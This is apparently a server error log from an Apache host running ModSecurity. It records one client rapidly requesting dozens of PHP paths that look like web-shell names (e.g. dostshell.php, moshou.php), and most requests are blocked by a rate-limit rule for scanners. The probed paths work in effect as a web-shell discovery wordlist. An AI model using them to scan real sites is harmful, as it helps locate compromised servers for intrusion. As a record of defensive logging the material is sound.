[Sat May 16 02:27:33.242652 2026] [:error] [pid 59522:tid 59556] [client 4.228.104.117:3696] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdllYKyKAkpeBAoLCZZ_gAAA8E"]
[Sat May 16 02:27:34.456536 2026] [:error] [pid 30208:tid 30232] [client 4.228.104.117:1515] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdllpmLMCJujX-JTvhWcwAAAJY"]
[Sat May 16 02:27:35.189913 2026] [:error] [pid 9307:tid 9367] [client 4.228.104.117:3690] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdllyC43jY1IRzK5VZ0gAAAAMI"]
[Sat May 16 02:27:35.836848 2026] [:error] [pid 59522:tid 59571] [client 4.228.104.117:1432] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/de.php"] [unique_id "agdll4KyKAkpeBAoLCZaCAAAA9A"]
[Sat May 16 02:27:36.545120 2026] [:error] [pid 59522:tid 59570] [client 4.228.104.117:3701] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdlmIKyKAkpeBAoLCZaCQAAA88"]
[Sat May 16 02:27:37.346380 2026] [:error] [pid 59517:tid 59543] [client 4.228.104.117:4234] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdlmcWGuSBVizA7n2P4DwAAA5A"]
[Sat May 16 02:27:37.999702 2026] [:error] [pid 59522:tid 59562] [client 4.228.104.117:1678] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdlmYKyKAkpeBAoLCZaCgAAA8c"]
[Sat May 16 02:27:38.832727 2026] [:error] [pid 59311:tid 59319] [client 4.228.104.117:1465] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/aa.php"] [unique_id "agdlmrGBV7OkryAk5AOa9gAAAoQ"]
[Sat May 16 02:27:39.562607 2026] [:error] [pid 59311:tid 59326] [client 4.228.104.117:1409] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdlm7GBV7OkryAk5AOa9wAAAos"]
[Sat May 16 02:27:40.326842 2026] [:error] [pid 9392:tid 9396] [client 4.228.104.117:4800] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdlnNBWJIjH1U9zGfYH7AAAAQI"]
[Sat May 16 02:27:41.101352 2026] [:error] [pid 59517:tid 59535] [client 4.228.104.117:3490] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdlncWGuSBVizA7n2P4EAAAA4g"]
[Sat May 16 02:27:41.738342 2026] [:error] [pid 59517:tid 59542] [client 4.228.104.117:1636] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/100.php"] [unique_id "agdlncWGuSBVizA7n2P4EQAAA48"]
[Sat May 16 02:27:42.520930 2026] [:error] [pid 59311:tid 59316] [client 4.228.104.117:4139] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdlnrGBV7OkryAk5AOa-gAAAoE"]
[Sat May 16 02:27:43.244854 2026] [:error] [pid 9307:tid 9380] [client 4.228.104.117:1699] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdlnyC43jY1IRzK5VZ0gwAAAM8"]
[Sat May 16 02:27:43.991781 2026] [:error] [pid 59522:tid 59575] [client 4.228.104.117:4822] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdln4KyKAkpeBAoLCZaDAAAA9Q"]
[Sat May 16 02:27:44.694601 2026] [:error] [pid 9307:tid 9374] [client 4.228.104.117:1600] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f5.php"] [unique_id "agdloCC43jY1IRzK5VZ0hQAAAMk"]
[Sat May 16 02:27:45.414749 2026] [:error] [pid 9392:tid 9403] [client 4.228.104.117:4839] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdlodBWJIjH1U9zGfYH8AAAAQk"]
[Sat May 16 02:27:46.064894 2026] [:error] [pid 9392:tid 9395] [client 4.228.104.117:4129] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdlotBWJIjH1U9zGfYH9AAAAQE"]
[Sat May 16 02:27:46.729527 2026] [:error] [pid 9392:tid 9408] [client 4.228.104.117:3659] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdlotBWJIjH1U9zGfYH-QAAAQ4"]
[Sat May 16 02:27:47.697137 2026] [:error] [pid 30208:tid 30217] [client 4.228.104.117:3870] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/view.php"] [unique_id "agdlo5mLMCJujX-JTvhWeAAAAIc"]
[Sat May 16 02:27:48.358972 2026] [:error] [pid 30208:tid 30220] [client 4.228.104.117:4127] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdlpJmLMCJujX-JTvhWegAAAIo"]
[Sat May 16 02:27:49.012313 2026] [:error] [pid 30208:tid 30222] [client 4.228.104.117:1474] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdlpZmLMCJujX-JTvhWfAAAAIw"]
[Sat May 16 02:27:49.718001 2026] [:error] [pid 59311:tid 59327] [client 4.228.104.117:1510] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdlpbGBV7OkryAk5AOa_QAAAow"]
[Sat May 16 02:27:50.394363 2026] [:error] [pid 30208:tid 30231] [client 4.228.104.117:1723] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bc.php"] [unique_id "agdlppmLMCJujX-JTvhWfgAAAJU"]
[Sat May 16 02:27:51.102709 2026] [:error] [pid 30208:tid 30211] [client 4.228.104.117:3673] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdlp5mLMCJujX-JTvhWgAAAAIE"]
[Sat May 16 02:27:51.758953 2026] [:error] [pid 59522:tid 59559] [client 4.228.104.117:3840] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdlp4KyKAkpeBAoLCZaDwAAA8Q"]
[Sat May 16 02:27:52.417748 2026] [:error] [pid 30208:tid 30223] [client 4.228.104.117:1425] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdlqJmLMCJujX-JTvhWgwAAAI0"]
[Sat May 16 02:27:53.320029 2026] [:error] [pid 30272:tid 30287] [client 4.228.104.117:4142] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tx79.php"] [unique_id "agdlqXvc_jSFaQ_7_wcyVgAAAY0"]
[Sat May 16 02:27:53.979891 2026] [:error] [pid 59453:tid 59465] [client 4.228.104.117:1651] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdlqXnXIIDivY9RkF0rnQAAA0Y"]
[Sat May 16 02:27:54.710043 2026] [:error] [pid 59522:tid 59576] [client 4.228.104.117:1268] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdlqoKyKAkpeBAoLCZaEQAAA9U"]
[Sat May 16 02:27:55.385964 2026] [:error] [pid 9392:tid 9396] [client 4.228.104.117:1461] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdlq9BWJIjH1U9zGfYH_AAAAQI"]
[Sat May 16 02:27:56.074232 2026] [:error] [pid 59522:tid 59563] [client 4.228.104.117:1694] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/moshou.php"] [unique_id "agdlrIKyKAkpeBAoLCZaFQAAA8g"]
[Sat May 16 02:27:56.697965 2026] [:error] [pid 59522:tid 59578] [client 4.228.104.117:1647] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agdlrIKyKAkpeBAoLCZaFgAAA9c"]
[Sat May 16 02:27:57.402106 2026] [:error] [pid 59522:tid 59566] [client 4.228.104.117:4176] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agdlrYKyKAkpeBAoLCZaFwAAA8s"]
[Sat May 16 02:27:58.045298 2026] [:error] [pid 59522:tid 59569] [client 4.228.104.117:1675] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agdlroKyKAkpeBAoLCZaGQAAA84"]
[Sat May 16 02:27:58.734632 2026] [:error] [pid 59522:tid 59561] [client 4.228.104.117:1714] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "agdlroKyKAkpeBAoLCZaGwAAA8Y"]
[Sat May 16 02:27:59.400579 2026] [:error] [pid 59522:tid 59576] [client 4.228.104.117:1707] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agdlr4KyKAkpeBAoLCZaHQAAA9U"]
[Sat May 16 02:28:00.185747 2026] [:error] [pid 30208:tid 30220] [client 4.228.104.117:1422] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agdlsJmLMCJujX-JTvhWiAAAAIo"]
[Sat May 16 02:28:00.860268 2026] [:error] [pid 9392:tid 9407] [client 4.228.104.117:3653] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agdlsNBWJIjH1U9zGfYH_gAAAQ0"]
[Sat May 16 02:28:01.564323 2026] [:error] [pid 9392:tid 9397] [client 4.228.104.117:1476] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/zoper1.php"] [unique_id "agdlsdBWJIjH1U9zGfYIAAAAAQM"]
[Sat May 16 02:28:02.242173 2026] [:error] [pid 9392:tid 9403] [client 4.228.104.117:3869] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agdlstBWJIjH1U9zGfYIAgAAAQk"]
[Sat May 16 02:28:02.884970 2026] [:error] [pid 59517:tid 59545] [client 4.228.104.117:1605] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agdlssWGuSBVizA7n2P4FwAAA5I"]
[Sat May 16 02:28:03.532038 2026] [:error] [pid 9392:tid 9416] [client 4.228.104.117:1718] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agdls9BWJIjH1U9zGfYIBAAAARY"]
[Sat May 16 02:28:04.285848 2026] [:error] [pid 30208:tid 30218] [client 4.228.104.117:4817] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/19.php"] [unique_id "agdltJmLMCJujX-JTvhWigAAAIg"]
[Sat May 16 02:28:05.042683 2026] [:error] [pid 30208:tid 30222] [client 4.228.104.117:4208] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/geforce.php"] [unique_id "agdltZmLMCJujX-JTvhWiwAAAIw"]
[Sat May 16 02:28:05.892558 2026] [:error] [pid 59517:tid 59536] [client 4.228.104.117:3863] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/geforce.php"] [unique_id "agdltcWGuSBVizA7n2P4GAAAA4k"]
[Sat May 16 02:28:06.772173 2026] [:error] [pid 59311:tid 59318] [client 4.228.104.117:4186] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/geforce.php"] [unique_id "agdltrGBV7OkryAk5AOa_wAAAoM"]
[Sat May 16 02:28:07.440318 2026] [:error] [pid 59202:tid 59208] [client 4.228.104.117:1513] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/geforce.php"] [unique_id "agdlt0ORbjeqf1CKQ2KENAAAAgE"]
[Sat May 16 02:28:08.517041 2026] [:error] [pid 59517:tid 59538] [client 4.228.104.117:3290] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agdluMWGuSBVizA7n2P4GQAAA4s"]
[Sat May 16 02:28:09.206626 2026] [:error] [pid 59517:tid 59533] [client 4.228.104.117:1475] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agdlucWGuSBVizA7n2P4GwAAA4Y"]
[Sat May 16 02:28:10.138059 2026] [:error] [pid 30208:tid 30226] [client 4.228.104.117:4804] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agdlupmLMCJujX-JTvhWjwAAAJA"]
[Sat May 16 02:28:10.973179 2026] [:error] [pid 59517:tid 59531] [client 4.228.104.117:4188] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dostshell.php"] [unique_id "agdlusWGuSBVizA7n2P4HAAAA4Q"]
[Sat May 16 02:28:11.785746 2026] [:error] [pid 59202:tid 59216] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/doc.php
[Sat May 16 02:28:12.112369 2026] [:error] [pid 59202:tid 59235] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/mar.php
[Sat May 16 02:28:12.439419 2026] [:error] [pid 59202:tid 59213] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/casp1.php
[Sat May 16 02:28:12.768870 2026] [:error] [pid 59202:tid 59234] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Sat May 16 02:28:13.138390 2026] [:error] [pid 59202:tid 59210] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/ms-edit.php
[Sat May 16 02:28:13.494709 2026] [:error] [pid 59202:tid 59223] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Sat May 16 02:28:13.849700 2026] [:error] [pid 59202:tid 59205] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/xltt.php
[Sat May 16 02:28:14.178657 2026] [:error] [pid 59202:tid 59233] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/cilus.php
[Sat May 16 02:28:14.554508 2026] [:error] [pid 59202:tid 59221] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/press.php
[Sat May 16 02:28:14.958815 2026] [:error] [pid 59202:tid 59229] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/file6.php
[Sat May 16 02:28:15.324957 2026] [:error] [pid 59202:tid 59230] [client 4.228.104.117:4138] File does not exist: /usr/local/apache/htdocs/suspended-page/ss.php
[Sat May 16 02:28:15.650078 2026] [:error] [pid 59202:tid 59220] [client 4.228.104.117:4138] [client 4.228.104.117] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ws78.php"] [unique_id "agdlv0ORbjeqf1CKQ2KEQwAAAgo"]
